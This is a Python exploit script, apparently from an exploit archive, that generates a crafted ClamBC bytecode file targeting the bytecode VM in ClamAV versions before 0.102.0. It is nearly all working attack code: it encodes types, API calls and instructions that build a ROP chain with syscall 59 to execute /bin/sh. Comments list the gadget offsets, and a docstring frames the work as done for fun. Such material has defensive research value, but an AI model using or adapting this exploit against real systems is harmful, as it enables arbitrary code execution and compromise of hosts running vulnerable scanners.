clamav < 0.102.0 bytecode_vm code execution

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#!/usr/bin/python ''' Finished : 22/07/2019 Pu8lished : 31/10/2019 Versi0n : Current (<= 0.102.0) Result : Just for fun. "Because of my inability to change the world." In 2002, ClamAV got introducted as a solution for malwares on UNIX-based systems, built on a signature-based detection approach, and still undergoes active-development. by that time, LibClamAV only held 2 binaries, and expanded to 5 at present. ClamBC were exceptionally more complex and served as a testing tool for bytecodes, majorly validating and interpreting the code therein, and the information provided didn't indicate nor explain the presence of its internal mechanisms. The availability of the source-code and the lack of documentation led to the establishment of this paper, it was certainly not an attempt to escalate privileges, but rather a sought -after experience, and source of entertainment that grants the thrill of a challenge. Due to the considerable amount of time spent in the analysis, the dissection of the engine was imminent, whilst significantly broadening our perception on its internal structures. The trial and error process produced valuable information, crashes illuminated latent bugs, effectively increasing the attack surface, and magnifying the possibility for exploitation. > ./exploit.py > clambc --debug exploit [SNIP] $ ''' names = ['test1', 'read', 'write', 'seek', 'setvirusname', 'debug_print_str', 'debug_print_uint', 'disasm_x86', 'trace_directory', 'trace_scope', 'trace_source', 'trace_op', 'trace_value', 'trace_ptr', 'pe_rawaddr', 'file_find', 'file_byteat', 'malloc', 'test2', 'get_pe_section', 'fill_buffer', 'extract_new', 'read_number', 'hashset_new', 'hashset_add', 'hashset_remove', 'hashset_contains', 'hashset_done', 'hashset_empty', 'buffer_pipe_new', 'buffer_pipe_new_fromfile', 'buffer_pipe_read_avail', 'buffer_pipe_read_get', 'buffer_pipe_read_stopped', 'buffer_pipe_write_avail', 'buffer_pipe_write_get', 'buffer_pipe_write_stopped', 'buffer_pipe_done', 'inflate_init', 'inflate_process', 'inflate_done', 'bytecode_rt_error', 'jsnorm_init', 'jsnorm_process', 'jsnorm_done', 'ilog2', 'ipow', 'iexp', 'isin', 'icos', 'memstr', 'hex2ui', 'atoi', 'debug_print_str_start', 'debug_print_str_nonl', 'entropy_buffer', 'map_new', 'map_addkey', 'map_setvalue', 'map_remove', 'map_find', 'map_getvaluesize', 'map_getvalue', 'map_done', 'file_find_limit', 'engine_functionality_level', 'engine_dconf_level', 'engine_scan_options', 'engine_db_options', 'extract_set_container', 'input_switch', 'get_environment', 'disable_bytecode_if', 'disable_jit_if', 'version_compare', 'check_platform', 'pdf_get_obj_num', 'pdf_get_flags', 'pdf_set_flags', 'pdf_lookupobj', 'pdf_getobjsize', 'pdf_getobj', 'pdf_getobjid', 'pdf_getobjflags', 'pdf_setobjflags', 'pdf_get_offset', 'pdf_get_phase', 'pdf_get_dumpedobjid', 'matchicon', 'running_on_jit', 'get_file_reliability', 'json_is_active', 'json_get_object', 'json_get_type', 'json_get_array_length', 'json_get_array_idx', 'json_get_string_length', 'json_get_string', 'json_get_boolean', 'json_get_int'] o = names.index('buffer_pipe_new') + 1 k = names.index('buffer_pipe_write_get') + 1 l = names.index('debug_print_str') + 1 m = names.index('malloc') + 1 c = 0 for name in names: names[c] = name.encode('hex') c += 1 def cc(n): v = chr(n + 0x60) return v def cs(s): t = '' for i in xrange(0, len(s), 2): u = int(s[i], 16) l = int(s[i + 1], 16) for i in [u, l]: if((i >= 0 and i <= 0xf)): continue print 'Invalid string.' exit(0) t += cc(l) + cc(u) return t def wn(n, fixed=0, size=0): if n is 0: return cc(0) t = '' c = hex(n)[2:] l = len(c) if (l % 2) is 1: c = "0" + c r = c[::-1] if(l <= 0x10): if not fixed: t = cc(l) i = 0 while i < l: t += cc(int(r[i], 16)) i += 1 else: print 'Invalid number.' exit(0) if size != 0: t = t.ljust(size, '`') return t def ws(s): t = '|' e = s[-2:] if(e != '00'): print '[+] Adding null-byte at the end of the string..' s += '00' l = (len(s) / 2) if (len(s) % 2) is 1: print 'Invalid string length.' exit(0) t += wn(l) t += cs(s) return t def wt(t): if t < (num_types + 0x45): v = wn(t) return v else: print 'Invalid type.' exit(0) def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096): global flimit, num_types if maxfunc is 0: maxfunc = flimit if(minfunc > flimit or maxfunc < flimit): print 'Invalid minfunc and/or maxfunc.' exit(0) header = "ClamBC" header += wn(0x07) # formatlevel(6, 7) header += wn(0x88888888) # timestamp header += ws("416c69656e") # sigmaker header += wn(0x00) # targetExclude header += wn(0x00) # kind header += wn(minfunc) # minfunc header += wn(maxfunc) # maxfunc header += wn(0x00) # maxresource header += ws("00") # compiler header += wn(num_types + 5) # num_types header += wn(num_func) # num_func header += wn(0x53e5493e9f3d1c30) # magic1 header += wn(0x2a, 1) # magic2 header += ':' header += str(linelength) header += chr(0x0a)*2 return header def prepare_types(contained, type=1, nume=1): global num_types types = "T" types += wn(0x45, 1) # start_tid(69) for i in range(0, num_types): types += wn(type[i], 1) # kind if type[i] in [1, 2, 3]: # Function, PackedStruct, Struct types += wn(nume[i]) # numElements for j in range(0, nume[i]): types += wt(contained[i][j]) # containedTypes[j] else: # Array, Pointer if type[i] != 5: types += wn(nume[i]) # numElements types += wt(contained[i][0]) # containedTypes[0] types += chr(0x0a) return types def prepare_apis(calls=1): global maxapi, names, ids, tids if(calls > max_api): print 'Invalid number of calls.' exit(0) apis = 'E' apis += wn(max_api) # maxapi apis += wn(calls) # calls(<= maxapi) for i in range(0, calls): apis += wn(ids[i]) # id apis += wn(tids[i]) # tid apis += ws(names[ids[i] - 1]) # name apis += chr(0x0a) return apis def prepare_globals(numglobals=1): global max_globals, type, gval globals = 'G' globals += wn(max_globals) # maxglobals globals += wn(numglobals) # numglobals for i in range(0, numglobals): globals += wt(type[i]) # type for j in gval[i]: # subcomponents n = wn(j) globals += chr(ord(n[0]) - 0x20) globals += n[1:] globals += cc(0) globals += chr(0x0a) return globals def prepare_function_header(numi, numbb, numa=1, numl=0): global allo if numa > 0xf: print 'Invalid number of arguments.' exit(0) fheader = 'A' fheader += wn(numa, 1) # numArgs fheader += wt(0x20) # returnType fheader += 'L' fheader += wn(numl) # numLocals for i in range(0, numa + numl): fheader += wn(type[i]) # types fheader += wn(allo[i], 1) # | 0x8000 fheader += 'F' fheader += wn(numi) # numInsts fheader += wn(numbb) # numBB fheader += chr(0x0a) return fheader flimit = 93 max_api = 100 max_globals = 32773 num_types = 6 # Header parsing w = initialize_header(num_func=0x1) # Types parsing cont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]] type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1] num = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2] w += prepare_types(cont, type, num) # API parsing ids = [o, k, l, m] tids = [71, 72, 73, 74] w += prepare_apis(0x4) ''' # crash @ id=0 ''' # Globals parsing type = [0x45] gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]] w += prepare_globals(0x1) # Function header parsing type = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20] allo = [ 1, 0, 0, 0, 0, 0, 0] w += prepare_function_header(35, 0x1, 0x0, 0x7) # BB parsing p = 'B' # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += '@d' # STORE (0x0068732f6e69622f(L=8) -> ([Var #1])) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += 'Nobbfifnfobcghfh' p += wn(0x1) # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'C`fcd' # LOAD Var #2 = ([Var #1]) p += wn(0x40) p += wn(0x2) p += wn(0x27, 1) p += wn(0x1) # SUB Var #2 -= 0xd260 p += wn(0x40) p += wn(0x2) p += wn(0x2, 1, 2) p += wn(0x2) p += 'D`fbmd' # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'B`ad' # LOAD Var #3 = ([Var #1]) p += wn(0x40) p += wn(0x3) p += wn(0x27, 1) p += wn(0x1) # SUB Var #3 -= 0x10 p += wn(0x40) p += wn(0x3) p += wn(0x2, 1, 2) p += wn(0x3) p += 'B`ad' # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'B`cd' # LOAD Var #4 = ([Var #1]) p += wn(0x40) p += wn(0x4) p += wn(0x27, 1) p += wn(0x1) # SUB Var #4 -= 0x190 p += wn(0x40) p += wn(0x4) p += wn(0x2, 1, 2) p += wn(0x4) p += 'C`iad' # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'Bhcd' # STORE (Var #3 -> Var #1) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += wn(0x3) p += wn(0x1) # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'Bhdd' # ADD Var #3 += 0x3 p += wn(0x40) p += wn(0x3) p += wn(0x2, 1, 2) p += wn(0x3) p += 'Acd' # STORE (Var #3 -> Var #1) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += wn(0x3) p += wn(0x1) # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'Bhbd' # ADD Var #5 += Var #2 + 0xcbda p += wn(0x40) p += wn(0x5) p += wn(0x1, 1, 2) p += wn(0x2) p += 'Djmkld' # STORE (Var #5 -> Var #1) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += wn(0x5) p += wn(0x1) # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'B`bd' # STORE (Var #4 -> Var #1) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += wn(0x4) p += wn(0x1) # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'Bhad' # ADD Var #5 += Var #2 + 0x99dc p += wn(0x40) p += wn(0x5) p += wn(0x1, 1, 2) p += wn(0x2) p += 'Dlmiid' # STORE (Var #5 -> Var #1) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += wn(0x5) p += wn(0x1) # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'B`ad' # STORE (0x3b -> Var #1) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += 'Bkcd' p += wn(0x1) # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'B`cd' # STORE (0x0 -> Var #1) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += '@d' p += wn(0x1) # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'B`dd' # STORE (0x0 -> Var #1) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += '@d' p += wn(0x1) # GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8) p += wn(0x0) p += wn(0x1) p += wn(0x24, 1) p += wn(0x46) p += wn(0x0) p += 'Ahd' # ADD Var #2 += 0x6d68 p += wn(0x40) p += wn(0x2) p += wn(0x1, 1, 2) p += wn(0x2) p += 'Dhfmfd' # STORE (Var #2 -> Var #1) p += wn(0x40) p += wn(0x0) p += wn(0x26, 1) p += wn(0x2) p += wn(0x1) ''' 0x99dc : pop rdi ; ret 0xcbda : pop rsi ; ret 0x6d68 : pop rax ; ret Var #2 = text_base Var #3 = syscall (+3: pop rdx; ret) Var #4 = "/bin/sh\x00" pop rax; ret; o 0x8 59 o 0x10 pop rdi; ret; o 0x18 sh; address o 0x20 pop rsi; ret; o 0x28 0x0 o 0x30 pop rdx; ret; o 0x38 0x0 o 0x40 syscall o 0x48 ''' # COPY Var #6 = (0x5a90050f(o`e``ije)) p += wn(0x20) p += wn(0x0) p += wn(0x22, 1) p += 'Ho`e``ijeh' p += wn(0x6) p += 'T' p += wn(0x13, 1) p += wn(0x20) p += wn(0x6) p += 'E' w += p f = open("exploit", "w") f.write(w) f.close() print '[+] Generated payload' ''' Mortals represent immorality, clueless, they crush each other in an everlasting pursuit to climb the ladder of social-status, greed is engraved in their nature, they're materialistic, and the essence of their lives is money and wealth. However, such definition is inaccurate as it doesn't apply to the minority. I have discovered a truly marvelous proof of their existence, which this margin is too narrow to contain. - Alien599, not Fermat. Greetings to Alien133, Alien610, Alien6068, Alien814, Alien641. X '''

Clamav < 0.102.0 bytecode_vm code execution Vulnerability / Exploit Source : Clamav < 0.102.0 bytecode_vm code execution



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